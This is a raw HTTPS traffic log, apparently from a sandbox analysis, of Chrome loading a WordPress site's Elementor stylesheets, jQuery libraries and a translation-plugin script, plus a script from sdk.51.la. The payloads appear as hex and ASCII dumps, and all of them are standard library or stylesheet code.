.elementor-button>span{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-fle
2025-01-15 02:37:08 UTC	16384	IN	Data Raw: 6f 6e 65 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 61 64 65 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 61 63 74 69 76 65 2c 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 61 64 65 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 61 63 74 69 76 65 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 61 63 74 69 76 65 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 75 74 6f 7d 2e 73 77 69 70 65 72 2d 7a 6f 6f 6d 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 Data Ascii: one}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center
2025-01-15 02:37:08 UTC	10105	IN	Data Raw: 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 34 38 22 3b 74 6f 70 3a 32 70 78 7d 23 77 70 61 64 6d 69 6e 62 61 72 20 2a 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 65 6c 65 6d 65 6e 74 6f 72 5f 63 61 6e 76 61 73 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 61 67 65 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 5f 5f 74 68 75 6d 62 6e 61 69 6c 5f 5f 6c 69 6e 6b 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 6c 65 66 74 2d 61 72 65 61 20 75 6c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 2d 6c 69 Data Ascii: m:before{content:"\f348";top:2px}#wpadminbar *{font-style:normal}.page-template-elementor_canvas.elementor-page:before{display:none}.elementor-post__thumbnail__link{-webkit-transition:none;-o-transition:none;transition:none}#left-area ul.elementor-icon-li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49778	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:08 UTC	604	OUT	GET /wp-content/uploads/elementor/css/post-3049.css?ver=1736408609 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:08 UTC	412	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:08 GMT Content-Type: text/css Content-Length: 1120 Last-Modified: Thu, 09 Jan 2025 07:43:29 GMT Connection: close Vary: Accept-Encoding ETag: "677f7e21-460" Expires: Thu, 15 Jan 2026 02:37:08 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:08 UTC	1120	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 6f 72 2d 6b 69 74 2d 33 30 34 39 7b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 3a 23 36 34 43 37 46 31 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 73 65 63 6f 6e 64 61 72 79 3a 23 35 34 35 39 35 46 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 74 65 78 74 3a 23 37 41 37 41 37 41 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 61 63 63 65 6e 74 3a 23 36 31 43 45 37 30 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 72 69 6d 61 72 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 72 69 6d 61 72 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 2d 2d 65 2d 67 6c 6f 62 Data Ascii: .elementor-kit-3049{--e-global-color-primary:#64C7F1;--e-global-color-secondary:#54595F;--e-global-color-text:#7A7A7A;--e-global-color-accent:#61CE70;--e-global-typography-primary-font-family:"Roboto";--e-global-typography-primary-font-weight:600;--e-glob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49780	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:08 UTC	618	OUT	GET /wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:08 GMT Content-Type: text/css Content-Length: 11530 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-2d0a" Expires: Thu, 15 Jan 2026 02:37:08 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	11530	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 7b 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 74 72 61 6e 73 66 6f 72 6d 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 2d 7a 6f 6f 6d 2d 69 6e 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 2d 7a 6f 6f 6d 2d 6f 75 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /.elementor-bg-transform .elementor-bg{will-change:transform}.elementor-bg-transform-zoom-in:hover .elementor-bg,.elementor-bg-transform-zoom-out .elementor-bg{-webkit-transform:scale(1.2);-ms-transform:scale(1.2)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49782	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:08 UTC	604	OUT	GET /wp-content/uploads/elementor/css/post-5327.css?ver=1736509366 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	412	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:08 GMT Content-Type: text/css Content-Length: 3262 Last-Modified: Mon, 13 Jan 2025 12:39:53 GMT Connection: close Vary: Accept-Encoding ETag: "67850999-cbe" Expires: Thu, 15 Jan 2026 02:37:08 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	3262	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 6f 72 2d 35 33 32 37 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 35 39 61 65 61 62 33 66 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 7b 70 61 64 64 69 6e 67 3a 38 30 70 78 20 38 30 70 78 20 38 30 70 78 20 38 30 70 78 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 35 33 32 37 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 32 37 35 31 39 37 65 30 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 66 69 65 6c 64 2d 67 72 6f 75 70 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 63 61 6c 63 28 20 31 30 70 78 2f 32 20 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 61 6c 63 28 20 31 30 70 78 2f 32 20 29 3b 6d 61 72 67 Data Ascii: .elementor-5327 .elementor-element.elementor-element-59aeab3f.elementor-section{padding:80px 80px 80px 80px;}.elementor-5327 .elementor-element.elementor-element-275197e0 .elementor-field-group{padding-right:calc( 10px/2 );padding-left:calc( 10px/2 );marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49779	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:08 UTC	574	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:08 GMT Content-Type: application/javascript Content-Length: 89521 Last-Modified: Mon, 28 Feb 2022 09:02:21 GMT Connection: close Vary: Accept-Encoding ETag: "621c8f9d-15db1" Expires: Thu, 15 Jan 2026 02:37:08 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	15955	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-15 02:37:09 UTC	16384	IN	Data Raw: 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 78 26 26 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 70 3d 21 6e 26 26 21 78 2c 64 3d 21 31 3b 69 66 28 63 29 7b 69 66 28 79 29 7b 77 68 69 6c 65 28 6c 29 7b 61 3d 65 3b 77 68 69 6c 65 28 61 3d 61 5b 6c 5d 29 69 66 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 75 3d 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d Data Ascii: arentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]
2025-01-15 02:37:09 UTC	16384	IN	Data Raw: 22 6c 6f 61 64 22 2c 42 29 29 3b 76 61 72 20 24 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 29 7b 76 61 72 20 73 3d 30 2c 75 3d 65 2e 6c 65 6e 67 74 68 2c 6c 3d 6e 75 6c 6c 3d 3d 6e 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 77 28 6e 29 29 66 6f 72 28 73 20 69 6e 20 69 3d 21 30 2c 6e 29 24 28 65 2c 74 2c 73 2c 6e 5b 73 5d 2c 21 30 2c 6f 2c 61 29 3b 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 69 3d 21 30 2c 6d 28 72 29 7c 7c 28 61 3d 21 30 29 2c 6c 26 26 28 61 3f 28 74 2e 63 61 6c 6c 28 65 2c 72 29 2c 74 3d 6e 75 6c 6c 29 3a 28 6c 3d 74 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b Data Ascii: "load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)\|\|(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++
2025-01-15 02:37:09 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 3d 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2c 66 3d 69 65 28 65 29 3b 69 66 28 21 28 79 2e 6e 6f 43 6c 6f 6e 65 43 68 65 63 6b 65 64 7c 7c 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 29 29 66 6f 72 28 61 3d 76 65 28 63 29 2c 72 3d 30 2c 69 3d 28 6f 3d 76 65 28 65 29 29 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 73 3d 6f 5b 72 5d 2c 75 3d 61 5b 72 5d 2c 76 6f 69 64 20 30 2c 22 69 6e 70 75 74 22 3d 3d 3d 28 6c 3d 75 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 Data Ascii: function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked\|\|1!==e.nodeType&&11!==e.nodeType\|\|S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerC
2025-01-15 02:37:09 UTC	16384	IN	Data Raw: 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2c 6e 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 65 6c 65 63 74 22 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6f 70 74 69 6f 6e 22 29 29 2c 74 74 2e 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 2c 79 2e 63 68 65 63 6b 4f 6e 3d 22 22 21 3d 3d 74 74 2e 76 61 6c 75 65 2c 79 2e 6f 70 74 53 65 6c 65 63 74 65 64 3d 6e 74 2e 73 65 6c 65 63 74 65 64 2c 28 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 74 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 74 74 2e 76 61 6c 75 65 3b 76 61 72 20 63 74 2c 66 74 Data Ascii: E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft
2025-01-15 02:37:09 UTC	8030	IN	Data Raw: 74 68 69 73 7d 7d 29 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 68 69 64 64 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 28 65 29 7d 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 Data Ascii: this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49781	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:08 UTC	582	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:09 GMT Content-Type: application/javascript Content-Length: 11224 Last-Modified: Thu, 19 Nov 2020 09:31:13 GMT Connection: close Vary: Accept-Encoding ETag: "5fb63b61-2bd8" Expires: Thu, 15 Jan 2026 02:37:09 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	11224	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49783	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:09 UTC	625	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	402	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:09 GMT Content-Type: application/javascript Content-Length: 777 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-309" Expires: Thu, 15 Jan 2026 02:37:09 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	777	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 74 72 70 43 6c 65 61 72 57 6f 6f 43 61 72 74 46 72 61 67 6d 65 6e 74 73 28 29 7b 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 63 6c 65 61 72 20 57 6f 6f 43 6f 6d 6d 65 72 63 65 20 63 61 72 74 20 66 72 61 67 6d 65 6e 74 73 20 77 68 65 6e 20 73 77 69 74 63 68 69 6e 67 20 6c 61 6e 67 75 61 67 65 0a 20 20 20 20 20 20 20 20 76 61 72 20 74 72 70 5f 6c 61 6e 67 75 61 67 65 5f 73 77 69 74 63 68 65 72 5f 75 72 6c 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 74 72 70 2d 6c 61 6e 67 75 61 67 65 Data Ascii: document.addEventListener("DOMContentLoaded", function(event) { function trpClearWooCartFragments(){ // clear WooCommerce cart fragments when switching language var trp_language_switcher_urls = document.querySelectorAll(".trp-language

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49784	90.84.161.20	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:09 UTC	350	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	433	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 02:37:09 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE6[167],EU-GER-frankfurt-EDGE5-CACHE6[ovl,161],CHN-HElangfang-GLOBAL6-CACHE10[ovl,17] X-CCDN-REQ-ID-46B1: e19ee75726075ceb3e21a642ca407ed9
